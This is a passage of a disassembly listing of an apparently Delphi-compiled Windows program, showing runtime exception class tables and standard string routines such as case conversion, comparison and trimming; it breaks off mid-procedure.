dword_406304	dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:004062B8o
					; CODE:004062D8o
off_406314	dd offset dword_406360	; DATA XREF: sub_409608+2Dr
					; sub_409608+4Cr
		dd 7 dup(0)
		dd offset dword_406360
		dd 10h
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406360	dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF:	CODE:00406314o
					; CODE:00406334o
off_40636C	dd offset dword_4063B8	; DATA XREF: CODE:004063ECo
					; CODE:0040644Co ...
		dd 7 dup(0)
		dd offset dword_4063B8
		dd 10h
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_4063B8	dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:0040636Co
					; CODE:0040638Co
off_4063C4	dd offset dword_406410	; DATA XREF: sub_409A30+82r
		dd 7 dup(0)
		dd offset dword_406410
		dd 10h
		dd offset off_40636C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406410	dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
					; DATA XREF: CODE:004063C4o
					; CODE:004063E4o ...
off_406424	dd offset dword_406470	; DATA XREF: CODE:004064A4o
					; CODE:004064FCo ...
		dd 7 dup(0)
		dd offset dword_406470
		dd 10h
		dd offset off_40636C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406470	dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:00406424o
					; CODE:00406444o
		dd offset dword_4064C8
		dd 7 dup(0)
		dd offset dword_4064C8
		dd 10h
		dd offset off_406424
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_4064C8	dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF:	CODE:0040647Co
					; CODE:0040649Co ...
		dd offset dword_406520
		dd 7 dup(0)
		dd offset dword_406520
		dd 10h
		dd offset off_406424
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406520	dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF:	CODE:004064D4o
					; CODE:004064F4o ...
		dd offset dword_406578
		dd 7 dup(0)
		dd offset dword_406578
		dd 10h
		dd offset off_406424
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406578	dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:0040652Co
					; CODE:0040654Co ...
off_406588	dd offset dword_4065D4	; DATA XREF: CODE:00406608o
					; CODE:00406660o ...
		dd 7 dup(0)
		dd offset dword_4065D4
		dd 10h
		dd offset off_40636C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_4065D4	dd 614D450Ah, 72456874h, 90726F72h ; DATA XREF:	CODE:00406588o
					; CODE:004065A8o
		dd offset dword_40662C
		dd 7 dup(0)
		dd offset dword_40662C
		dd 10h
		dd offset off_406588
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_40662C	dd 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF:	CODE:004065E0o
					; CODE:00406600o ...
		dd offset dword_406684
		dd 7 dup(0)
		dd offset dword_406684
		dd 10h
		dd offset off_406588
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406684	dd 655A450Bh, 69446F72h, 65646976h ; DATA XREF:	CODE:00406638o
					; CODE:00406658o ...
		dd offset dword_4066DC
		dd 7 dup(0)
		dd offset dword_4066DC
		dd 10h
		dd offset off_406588
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_4066DC	dd 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:00406690o
					; CODE:004066B0o ...
		dd offset dword_406734
		dd 7 dup(0)
		dd offset dword_406734
		dd 10h
		dd offset off_406588
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406734	dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF:	CODE:004066E8o
					; CODE:00406708o ...
off_406740	dd offset dword_40678C	; DATA XREF: sub_409B0C+48r
		dd 7 dup(0)
		dd offset dword_40678C
		dd 10h
		dd offset off_40625C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset loc_4095DC
		dd offset sub_402BCC
dword_40678C	dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ;	DATA XREF: CODE:00406740o
					; CODE:00406760o
		dd offset dword_4067E8
		dd 7 dup(0)
		dd offset dword_4067E8
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_4067E8	dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:0040679Co
					; CODE:004067BCo ...
off_4067F8	dd offset dword_406844	; DATA XREF: sub_406CBC+7r
					; sub_406CD4+2Dr ...
		dd 7 dup(0)
		dd offset dword_406844
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406844	dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004067F8o
					; CODE:00406818o
off_406854	dd offset dword_4068A0	; DATA XREF: sub_409864+122r
					; sub_409864+17Er
		dd 7 dup(0)
		dd offset dword_4068A0
		dd 10h
		dd offset off_40636C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_4068A0	dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
					; DATA XREF: CODE:00406854o
					; CODE:00406874o ...
		dd offset dword_406900
		dd 7 dup(0)
		dd offset dword_406900
		dd 10h
		dd offset off_40636C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406900	dd 7250450Ah, 6C697669h, 90656765h ; DATA XREF:	CODE:004068B4o
					; CODE:004068D4o ...
		dd offset dword_406958
		dd 7 dup(0)
		dd offset dword_406958
		dd 10h
		dd offset off_40636C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406958	dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ;	DATA XREF: CODE:0040690Co
					; CODE:0040692Co ...
		dd offset dword_4069B4
		dd 7 dup(0)
		dd offset dword_4069B4
		dd 10h
		dd offset off_40636C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_4069B4	dd 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:00406968o
					; CODE:00406988o ...
		dd offset dword_406A0C
		dd 7 dup(0)
		dd offset dword_406A0C
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406A0C	dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:004069C0o
					; CODE:004069E0o ...
off_406A1C	dd offset dword_406A68	; DATA XREF: sub_4096CC+72r
		dd 7 dup(0)
		dd offset dword_406A68
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406A68	dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
					; DATA XREF: CODE:00406A1Co
					; CODE:00406A3Co ...
off_406A7C	dd offset dword_406AC8	; DATA XREF: sub_4097A4+18r
		dd 7 dup(0)
		dd offset dword_406AC8
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406AC8	dd 6241450Eh, 61727473h, 72457463h, 90726F72h ;	DATA XREF: CODE:00406A7Co
					; CODE:00406A9Co
		dd offset dword_406B24
		dd 7 dup(0)
		dd offset dword_406B24
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406B24	dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ;	DATA XREF: CODE:00406AD8o
					; CODE:00406AF8o ...
off_406B34	dd offset dword_406B80	; DATA XREF: sub_40A398+4Er
					; sub_40A398+62r
		dd 7 dup(0)
		dd offset dword_406B80
		dd 10h
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406B80	dd 6957450Bh, 4532336Eh, 726F7272h ; DATA XREF:	CODE:00406B34o
					; CODE:00406B54o
		dd offset dword_406BD8
		dd 7 dup(0)
		dd offset dword_406BD8
		dd 0Ch
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406BD8	dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
					; DATA XREF: CODE:00406B8Co
					; CODE:00406BACo ...
		dd 0FFFFFFFFh, 1
dword_406BF4	dd 24h			; DATA XREF: DATA:0041C124o
off_406BF8	dd offset dword_406BFC	; DATA XREF: CODE:00406C72o
					; sub_40A4BC+3Er
dword_406BFC	dd 41541211h, 76697463h, 72685465h, 41646165h, 79617272h
					; DATA XREF: CODE:00406BF8o
		dd 8, 0, 0FFFFFFFFh
off_406C1C	dd offset dword_406C68	; DATA XREF: CODE:0040E4A8o
		dd 2 dup(0)
		dd offset dword_406C68
		dd 4 dup(0)
		dd offset dword_406C7A
		dd 38h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_40A524
dword_406C68	dd 0Eh,	10000h		; DATA XREF: CODE:00406C1Co
					; CODE:00406C28o
		db 2 dup(0)
		dd offset off_406BF8
		dd 28h
dword_406C7A	dd 754D5424h, 5269746Ch, 45646165h, 756C6378h, 65766973h
					; DATA XREF: CODE:00406C3Co
		dd 74697257h, 6E795365h, 6F726863h, 657A696Eh
		db 72h,	90h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_406CA0	proc near		; CODE XREF: sub_407D30+2Bp
					; sub_407D30+3Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		shr	edx, 10h
		div	bx
		mov	ebx, [ebp+arg_0]
		mov	[ecx], ax
		mov	[ebx], dx
		pop	ebx
		pop	ebp
		retn	4
sub_406CA0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406CBC	proc near		; CODE XREF: sub_407CB8+4Ap
					; sub_407E90+45p
		push	ebx
		mov	ebx, eax
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, ds:off_4067F8
		call	sub_409450
		call	sub_402F98
		pop	ebx
		retn
sub_406CBC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_406CD4	proc near		; CODE XREF: sub_407688+4Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_406D26
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		push	esi
		push	edi
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_404B80
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, ds:off_4067F8
		call	sub_40948C
		call	sub_402F98
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406D2D

loc_406D1D:				; CODE XREF: CODE:00406D2Bj
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_406CD4	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406D26:				; DATA XREF: sub_406CD4+11o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_406D1D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406D2D:				; DATA XREF: sub_406CD4+44o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406D34	proc near		; CODE XREF: sub_4149E8+21p
					; CODE:00414B6Cp ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	eax, ebx
		call	sub_402598
		mov	esi, eax
		mov	eax, esi
		xor	ecx, ecx
		mov	edx, ebx
		call	sub_4028D4
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_406D34	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406D54	proc near		; CODE XREF: sub_411E58+4Ep
					; sub_411E58+5Fp ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_403724
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_4039FC
		mov	edx, esi
		mov	esi, [edi]
		test	ebx, ebx
		jz	short loc_406D8A

loc_406D75:				; CODE XREF: sub_406D54+34j
		mov	al, [edx]
		cmp	al, 61h
		jb	short loc_406D81
		cmp	al, 7Ah
		ja	short loc_406D81
		sub	al, 20h

loc_406D81:				; CODE XREF: sub_406D54+25j
					; sub_406D54+29j
		mov	[esi], al
		inc	edx
		inc	esi
		dec	ebx
		test	ebx, ebx
		jnz	short loc_406D75

loc_406D8A:				; CODE XREF: sub_406D54+1Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406D54	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406D90	proc near		; CODE XREF: sub_41620C+A2p start+222p ...
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_403724
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_4039FC
		mov	edx, esi
		mov	esi, [edi]
		test	ebx, ebx
		jz	short loc_406DC6

loc_406DB1:				; CODE XREF: sub_406D90+34j
		mov	al, [edx]
		cmp	al, 41h
		jb	short loc_406DBD
		cmp	al, 5Ah
		ja	short loc_406DBD
		add	al, 20h

loc_406DBD:				; CODE XREF: sub_406D90+25j
					; sub_406D90+29j
		mov	[esi], al
		inc	edx
		inc	esi
		dec	ebx
		test	ebx, ebx
		jnz	short loc_406DB1

loc_406DC6:				; CODE XREF: sub_406D90+1Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406D90	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406DCC	proc near		; CODE XREF: sub_4151E8+ECp
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	edx, ecx
		xor	eax, eax
		and	edx, 3
		shr	ecx, 1
		shr	ecx, 1
		repe cmpsd
		jnz	short loc_406DE8
		mov	ecx, edx
		repe cmpsb
		jnz	short loc_406DE8
		inc	eax

loc_406DE8:				; CODE XREF: sub_406DCC+13j
					; sub_406DCC+19j
		pop	edi
		pop	esi
		retn
sub_406DCC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406DEC	proc near		; CODE XREF: sub_406E40+14p
		push	esi
		push	edi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		or	eax, eax
		jz	short loc_406DFA
		mov	eax, [eax-4]

loc_406DFA:				; CODE XREF: sub_406DEC+9j
		or	edx, edx
		jz	short loc_406E01
		mov	edx, [edx-4]

loc_406E01:				; CODE XREF: sub_406DEC+10j
		mov	ecx, eax
		cmp	ecx, edx
		jbe	short loc_406E09
		mov	ecx, edx

loc_406E09:				; CODE XREF: sub_406DEC+19j
		cmp	ecx, ecx

loc_406E0B:				; CODE XREF: sub_406DEC+45j
		repe cmpsb
		jz	short loc_406E39
		mov	bl, [esi-1]
		cmp	bl, 61h
		jb	short loc_406E1F
		cmp	bl, 7Ah
		ja	short loc_406E1F
		sub	bl, 20h

loc_406E1F:				; CODE XREF: sub_406DEC+29j
					; sub_406DEC+2Ej
		mov	bh, [edi-1]
		cmp	bh, 61h
		jb	short loc_406E2F
		cmp	bh, 7Ah
		ja	short loc_406E2F
		sub	bh, 20h

loc_406E2F:				; CODE XREF: sub_406DEC+39j
					; sub_406DEC+3Ej
		cmp	bl, bh
		jz	short loc_406E0B
		movzx	eax, bl
		movzx	edx, bh

loc_406E39:				; CODE XREF: sub_406DEC+21j
		sub	eax, edx
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_406DEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406E40	proc near		; CODE XREF: sub_40C02C+1Bp
					; sub_40DC7C+64p
		cmp	eax, edx
		jz	short loc_406E5D
		or	eax, eax
		jz	short locret_406E5F
		or	edx, edx
		jz	short loc_406E60
		mov	ecx, [eax-4]
		cmp	ecx, [edx-4]
		jnz	short loc_406E60
		call	sub_406DEC
		test	eax, eax
		jnz	short loc_406E60

loc_406E5D:				; CODE XREF: sub_406E40+2j
		mov	al, 1

locret_406E5F:				; CODE XREF: sub_406E40+6j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406E60:				; CODE XREF: sub_406E40+Aj
					; sub_406E40+12j ...
		xor	eax, eax
		retn
sub_406E40	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406E64	proc near		; CODE XREF: sub_40CCCC+47p
					; sub_40D498+2Dp ...
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_403724
		push	eax
		mov	eax, esi
		call	sub_4038E8
		push	eax
		mov	eax, ebx
		call	sub_403724
		push	eax
		mov	eax, ebx
		call	sub_4038E8
		push	eax
		push	1
		push	400h
		call	j_CompareStringA
		sub	eax, 2
		pop	esi
		pop	ebx
		retn
sub_406E64	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406E9C	proc near		; CODE XREF: sub_4112E4+4Ap
					; sub_4112E4+6Ap ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, edx
		mov	edi, eax
		mov	eax, edi
		call	sub_403724
		mov	esi, eax
		mov	ebx, 1
		jmp	short loc_406EB5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406EB4:				; CODE XREF: sub_406E9C+22j
		inc	ebx

loc_406EB5:				; CODE XREF: sub_406E9C+16j
		cmp	esi, ebx
		jl	short loc_406EC0
		cmp	byte ptr [edi+ebx-1], 20h
		jbe	short loc_406EB4

loc_406EC0:				; CODE XREF: sub_406E9C+1Bj
		cmp	esi, ebx
		jge	short loc_406ECE
		mov	eax, ebp
		call	sub_4034C8
		jmp	short loc_406EE4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406ECD:				; CODE XREF: sub_406E9C+37j
		dec	esi

loc_406ECE:				; CODE XREF: sub_406E9C+26j
		cmp	byte ptr [edi+esi-1], 20h
		jbe	short loc_406ECD
		push	ebp
		mov	ecx, esi
		sub	ecx, ebx
		inc	ecx
		mov	edx, ebx
		mov	eax, edi
		call	sub_40392C

loc_406EE4:				; CODE XREF: sub_406E9C+2Fj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406E9C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406EEC	proc near		; CODE XREF: sub_417F24+2FBp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_403724
		mov	ebx, eax
		jmp	short loc_406EFF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406EFE:				; CODE XREF: sub_406EEC+1Cj
		dec	ebx

loc_406EFF:				; CODE XREF: sub_406EEC+10j
		test	ebx, ebx
		jle	short loc_406F0A
		cmp	byte ptr [esi+ebx-1], 20h
		jbe	short loc_406EFE

loc_406F0A:				; CODE XREF: sub_406EEC+15j
		push	edi
		mov	ecx, ebx
		mov	edx, 1
		mov	eax, esi
		call	sub_40392C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406EEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406F20	proc near		; CODE XREF: sub_40FCF0+16Fp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	[esp+0], edx
		mov	ebp, eax
		mov	ebx, ebp
		mov	eax, ebp
		call	sub_403724
		mov	esi, eax
		add	esi, ebx
		xor	edi, edi
		cmp	esi, ebx
		jbe	short loc_406F70

loc_406F3D:				; CODE XREF: sub_406F20+4Ej
		mov	al, [ebx]
		mov	edx, eax
		sub	dl, 0Ah
		jz	short loc_406F4D
		sub	dl, 3
		jz	short loc_406F50
		jmp	short loc_406F5C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406F4D:				; CODE XREF: sub_406F20+24j
		inc	edi
		jmp	short loc_406F6B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406F50:				; CODE XREF: sub_406F20+29j
		cmp	byte ptr [ebx+1], 0Ah
		jnz	short loc_406F59
		inc	ebx
		jmp	short loc_406F6B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406F59:				; CODE XREF: sub_406F20+34j
		inc	edi
		jmp	short loc_406F6B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406F5C:				; CODE XREF: sub_406F20+2Bj
		and	eax, 0FFh
		bt	ds:dword_41C104, eax
		jnb	short loc_406F6B
		inc	ebx

loc_406F6B:				; CODE XREF: sub_406F20+2Ej
					; sub_406F20+37j ...
		inc	ebx
		cmp	esi, ebx
		ja	short loc_406F3D

loc_406F70:				; CODE XREF: sub_406F20+1Bj
		test	edi, edi
		jnz	short loc_406F80
		mov	eax, [esp+0]
		mov	edx, ebp
		call	sub_40351C
		jmp	short loc_406FE6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406F80:				; CODE XREF: sub_406F20+52j
		mov	ebx, ebp
		mov	ecx, esi
		sub	ecx, ebx
		add	ecx, edi
		mov	eax, [esp+0]
		xor	edx, edx
		call	sub_4035B0
		mov	edi, [esp+0]
		mov	edi, [edi]
		cmp	esi, ebx
		jbe	short loc_406FE6

loc_406F9B:				; CODE XREF: sub_406F20+C4j
		mov	al, [ebx]
		mov	edx, eax
		sub	dl, 0Ah
		jz	short loc_406FAB
		sub	dl, 3
		jz	short loc_406FB6
		jmp	short loc_406FC7
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406FAB:				; CODE XREF: sub_406F20+82j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	byte ptr [edi],	0Ah
		inc	edi
		inc	ebx
		jmp	short loc_406FE2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406FB6:				; CODE XREF: sub_406F20+87j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	byte ptr [edi],	0Ah
		inc	edi
		inc	ebx
		cmp	byte ptr [ebx],	0Ah
		jnz	short loc_406FE2
		inc	ebx
		jmp	short loc_406FE2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_406FC7:				; CODE XREF: sub_406F20+89j
		mov	edx, eax
		and	edx, 0FFh
		bt	ds:dword_41C104, edx
		jnb	short loc_406FDC
		mov	[edi], al
		inc	edi
		inc	ebx

loc_406FDC:				; CODE XREF: sub_406F20+B6j
		mov	al, [ebx]
		mov	[edi], al
		inc	edi
		inc	ebx

loc_406FE2:				; CODE XREF: sub_406F20+94j
					; sub_406F20+A2j ...
		cmp	esi, ebx
		ja	short loc_406F9B

loc_406FE6:				; CODE XREF: sub_406F20+5Ej
					; sub_406F20+79j
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_406F20	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_406FEC	proc near		; CODE XREF: sub_4101AC+56Fp

var_8		= dword	ptr -8
var_4		= byte ptr -4

		add	esp, 0FFFFFFF8h
		push	0
		mov	[esp+0Ch+var_8], eax
		mov	[esp+0Ch+var_4], 0
		lea	ecx, [esp+0Ch+var_8]
		mov	eax, edx
		mov	edx, offset dword_407018
		call	sub_407B40
		pop	ecx
		pop	edx
		retn
sub_406FEC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2
dword_407018	dd 6425h		; DATA XREF: sub_406FEC+14o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40701C	proc near		; CODE XREF: sub_40F3B4+95p
					; sub_41238C+37p

var_10		= dword	ptr -10h
